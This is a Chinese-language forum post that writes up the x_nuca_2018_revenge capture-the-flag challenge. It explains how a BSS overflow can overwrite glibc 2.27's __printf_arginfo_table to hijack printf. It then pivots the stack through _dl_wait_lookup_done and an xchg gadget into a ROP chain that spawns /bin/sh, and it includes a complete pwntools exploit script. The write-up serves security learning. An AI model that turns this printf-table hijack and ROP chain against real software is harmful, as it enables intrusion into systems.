首页
社区
课程
招聘
x_nuca_2018_revenge
发表于: 2020-10-21 21:37 3126

x_nuca_2018_revenge

2020-10-21 21:37
3126

题目概览

静态编译。

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

只有一个scanf和printf
图片描述
scanf读到bss段上的name变量,并且无限溢出。
图片描述

漏洞分析

printf() 调用 vfprintf (FILE *s, const CHAR_T *format, va_list ap)
由于vfprintf源码太长,这里就不全部放上来了。
地址在:glibc2.27_vfprintf( )实现
vfprintf大体的作用是:将对应的可变参数列表(format)的格式化数据 写入流(FILE *)

vfprintf简单分析

提取重要的一部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#ifdef COMPILE_WPRINTF
  /* Find the first format specifier.  */
  f = lead_str_end = __find_specwc ((const UCHAR_T *) format);
#else
  /* Find the first format specifier.  */
  f = lead_str_end = __find_specmb ((const UCHAR_T *) format);
#endif
 
  /* Lock stream.  */
  _IO_cleanup_region_start ((void (*) (void *)) &_IO_funlockfile, s);
  _IO_flockfile (s);
 
  /* Write the literal text before the first format*/
  outstring ((const UCHAR_T *) format,
         lead_str_end - (const UCHAR_T *) format);
 
  /* If we only have to print a simple string, return now.  */
  if (*f == L_('\0'))
    goto all_done;
 
  /* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;
  • 其中__find_specmb 调用:__strchrnul 定位格式化字符串的%的位置。

  • 接下来给流上锁。

  • 然后先把格式化字符串之前的纯文本,通过outstring 调用_IO_sputn 最后通过 write 输出。

  • 之后检测是不是剩下了空字节,如果是的话说明只是输出一个简单的文本字符串。那么直接结束。

  • 最后当通过if的条件时:

    1
    2
    3
    4
    /* Use the slow path in case any printf handler is registered.  */
    if (__glibc_unlikely (__printf_function_table != NULL
              || __printf_modifier_table != NULL
              || __printf_va_arg_table != NULL))

    当这三个量都为NULL时。到达:do_positional
    其中,__printf_function_table 追踪如下:
    extern printf_function **__printf_function_table;
    最终到达:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /* Type of a printf specifier-handler function.
       STREAM is the FILE on which to write output.
       INFO gives information about the format specification.
       ARGS is a vector of pointers to the argument data;
       the number of pointers will be the number returned
       by the associated arginfo function for the same INFO.
     
       The function should return the number of characters written,
       or -1 for errors.  */
     
    typedef int printf_function (FILE *__stream,
                     const struct printf_info *__info,
                     const void *const *__args);

do_positional情况如下:

1
2
3
4
5
6
7
8
9
10
  /* Hand off processing for positional parameters.  */
do_positional:
  if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);

接下来进入printf_positional

定义如下:

1
2
3
4
5
6
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
           va_list ap, va_list *ap_savep, int done, int nspecs_done,
           const UCHAR_T *lead_str_end,
           CHAR_T *work_buffer, int save_errno,
           const char *grouping, THOUSANDS_SEP_T thousands_sep)

接下来追踪到:

1
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
1
2
3
4
5
6
7
8
/* FORMAT must point to a '%' at the beginning of a spec.  Fills in *SPEC
   with the parsed details.  POSN is the number of arguments already
   consumed.  At most MAXTYPES - POSN types are filled in TYPES.  Return
   the number of args consumed by this spec; *MAX_REF_ARG is updated so it
   remains the highest argument index used.  */
extern size_t __parse_one_specmb (const unsigned char *format, size_t posn,
                  struct printf_spec *spec,
                  size_t *max_ref_arg) attribute_hidden;

直接看程序里的这个位置。出现了一个函数指针的调用
图片描述

 

源码在这里:https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parsemb.c

1
2
3
4
5
6
7
8
9
10
11
12
/* Get the format specification.  */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    /* We don't try to get the types for all arguments if the format
   uses more than one.  The normal case is covered though.  If
   the call returns -1 we continue with the normal specifiers.  */
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                 (&spec->info, 1, &spec->data_arg_type,
                  &spec->size)) < 0)

其中__printf_arginfo_table应该是一个函数表,然后spec->info.spec作为下标调用。也就是只要我们劫持了虚表对应位置的指针,那么就可以劫持程序流了。
图片描述

 

而:
switch (spec->info.spec)
{
case L'i':
case L'd':
case L'u':
case L'o':
case L'X':
case L'x':
spec->info.spec 相当于是格式控制字符's'即0x73,那么其实调用的就是:

1
2
3
4
5
6
(*__printf_arginfo_table[0x73])
                 (&spec->info,
                    1,
                  &spec->data_arg_type,
                  &spec->size)
)

那么劫持这个位置的就可以劫持程序流了。

攻击过程

没有system,所以只能自己拼gadgets,幸好是静态链接+nopie。
有如下gadgets:

1
2
3
4
5
6
7
8
9
0x0000000000400525 : pop rdi ; ret
0x00000000004059d6 : pop rsi ; ret
0x0000000000435435 : pop rdx ; ret
0x000000000043364c : pop rax ; ret
0x0000000000400484 : pop rbp ; ret
0x0000000000400da1 : pop rbx ; ret
0x000000000040118b : pop rsp ; ret
 
0x0000000000400368 : syscall

当然光有gadgets没用,我们需要将执行流拉过去。并且要构造59号系统调用,这要求我们控制rax。

 

看到 0x46d935
图片描述

1
2
3
4
5
6
7
8
.text:000000000046D935
.text:000000000046D935 loc_46D935:                             ; CODE XREF: _dl_close_worker+D3B↑j
.text:000000000046D935                 mov     rax, cs:_dl_scope_free_list
.text:000000000046D93C                 test    rax, rax
.text:000000000046D93F                 jz      loc_46D383
.text:000000000046D945                 cmp     qword ptr [rax], 0
.text:000000000046D949                 jz      loc_46D383
.text:000000000046D94F                 jmp     loc_46D8B1

_dl_scope_free_list 是在bss段上的,可以 通过溢出控制
图片描述

 

之后到达:

1
2
3
4
5
6
7
8
9
.text:000000000046D8B1 loc_46D8B1:                             ; CODE XREF: _dl_close_worker+D35↑j
.text:000000000046D8B1                                         ; _dl_close_worker+DDF↓j
.text:000000000046D8B1                 call    cs:_dl_wait_lookup_done
.text:000000000046D8B7                 mov     r12, cs:_dl_scope_free_list
.text:000000000046D8BE                 test    r12, r12
.text:000000000046D8C1                 jz      loc_46D383
.text:000000000046D8C7                 mov     rax, [r12]
.text:000000000046D8CB                 test    rax, rax
.text:000000000046D8CE                 jz      loc_46D383

调用了:_dl_wait_lookup_done
也在bss段上可控。

1
2
3
4
.bss:00000000006B78C0 ; __int64 (*dl_wait_lookup_done)(void)
.bss:00000000006B78C0 _dl_wait_lookup_done dq ?               ; DATA XREF: _dl_scope_free+3D↑r
.bss:00000000006B78C0                                         ; _dl_scope_free+8F↑r ...
.bss:00000000006B78C8                 public _dl_profile

最后,我们劫持_dl_wait_lookup_done让程序流向数据段上的:
图片描述
翻译成代码:
图片描述

1
2
.rodata:00000000004A1A79                 xchg    eax, esp
.rodata:00000000004A1A7A                 retn

通过交换rax和rsp来控制rsp的值。

 

把整个程序的执行流拉到我们的bss段上的rop chain中。

 

梳理一下利用过程:

  • 首先把rop放到bss段上,并且溢出填充至 .text:000000000046D935 mov rax, cs:_dl_scope_free_list,通过覆盖bss上的 dl_scope_free_list 来控制rax为我们rop链的地址。
  • 0x6b7778 处的地址为:0x000000000046D935,这个是我们call rax; 的时候的跳转的地址。
  • 之后跳到.text:000000000046D8B1 call cs:_dl_wait_lookup_done,通过覆盖bss上的 _dl_wait_lookup_done 来使程序流到达:.rodata:00000000004A1A79 xchg eax, esp 实现rsp和rax的互换,间接劫持rsp,借此控制程序执行流到达我们ROP chain的位置。
  • 执行rop chain getshell

注意:实际调试的时候发现,需要满足:__printf_modifier_table == NULL

图片描述
图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "./libc-2.27.so"
elf_path = "./x_nuca_2018_revenge"
ld = ELF('/lib/x86_64-linux-gnu/ld-2.27.so')
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    '''
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)   
    '''
    global io
    io = process(elf_path)
    name_addr = 0x6B73E0
    _dl_scope_free_list = 0x6B7910
    _dl_wait_lookup_done = 0x6B78C0
    __printf_arginfo_table = 0x6b7aa8
    __printf_function_table = 0x6b7a28
    xchg = 0x4A1A79
    #io = remote("node3.buuoj.cn",29679)
    """
    0x45ad08 <__parse_one_specmb+1208>    mov    rcx, qword ptr [rip + 0x25cd99] <0x6b7aa8>
    ► 0x45ad0f <__parse_one_specmb+1215>    mov    rax, qword ptr [rcx + rdx*8] <0x6b7778>
    0x45ad13 <__parse_one_specmb+1219>    test   rax, rax
    0x45ad16 <__parse_one_specmb+1222>    je     __parse_one_specmb+424 <0x45a9f8>
 
    0x45ad1c <__parse_one_specmb+1228>    lea    rcx, [rbx + 0x40]
    0x45ad20 <__parse_one_specmb+1232>    lea    rdx, [rbx + 0x34]
    0x45ad24 <__parse_one_specmb+1236>    mov    esi, 1
    0x45ad29 <__parse_one_specmb+1241>    mov    rdi, rbx
    0x45ad2c <__parse_one_specmb+1244>    call   rax
    """
    rop = p64(0x0000000000400525)+p64(name_addr+8*9)
    rop += p64(0x00000000004059d6)+p64(0)
    rop += p64(0x0000000000435435)+p64(0)
    rop += p64(0x000000000043364c)+p64(0x3b)    # execve
    rop += p64(0x0000000000400368)
    rop += '/bin/sh\x00'
 
    rop = rop.ljust(0x6b7778-name_addr,'\x90')              #  0x398
    rop += p64(0x000000000046D935)                          # call rax
    rop = rop.ljust(_dl_wait_lookup_done-name_addr,'\x90'# 0x4e0
    rop += p64(xchg)
    rop = rop.ljust(_dl_scope_free_list-name_addr,'\x90')   # 0x530
    rop += p64(name_addr)
    rop = rop.ljust(__printf_function_table-name_addr,'\x90')   #
    rop += '\x90'*8
    rop += p64(0)      # __printf_modifier_table = NULL
    rop = rop.ljust(__printf_arginfo_table-name_addr,'\x90') # 0x6c8
    rop += p64(name_addr)
 
    pause()
    sl(rop)
    shell()
 
 
 
"""
.bss:00000000006B73D8                                         ; __register_frame_info_bases_part_6+42↑w ...
.bss:00000000006B73E0                 public name
.bss:00000000006B73E0 name            db    ? ;               ; DATA XREF: main+19↑o
.bss:00000000006B73E0                                         ; main+31↑o
 
.bss:00000000006B7910                 public _dl_scope_free_list
.bss:00000000006B7910 _dl_scope_free_list dq ? 
 
.bss:00000000006B78C0 ; __int64 (*dl_wait_lookup_done)(void)
.bss:00000000006B78C0 _dl_wait_lookup_done dq ?               ; DATA XREF: _dl_scope_free+3D↑r
.bss:00000000006B78C0                                         ; _dl_scope_free+8F↑r ...
.bss:00000000006B78C8                 public _dl_profile
"""
 
"""
0x0000000000400525 : pop rdi ; ret
0x00000000004059d6 : pop rsi ; ret
0x0000000000435435 : pop rdx ; ret
0x000000000043364c : pop rax ; ret
0x0000000000400484 : pop rbp ; ret
0x0000000000400da1 : pop rbx ; ret
0x000000000040118b : pop rsp ; ret
 
0x0000000000400368 : syscall
"""
 
exp()

参考

https://blog.csdn.net/iteye_21202/article/details/82606514
https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/vfprintf.c#L1243
https://xz.aliyun.com/t/3437

 

https://www.cnblogs.com/fanzhidongyzby/p/3519838.html


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//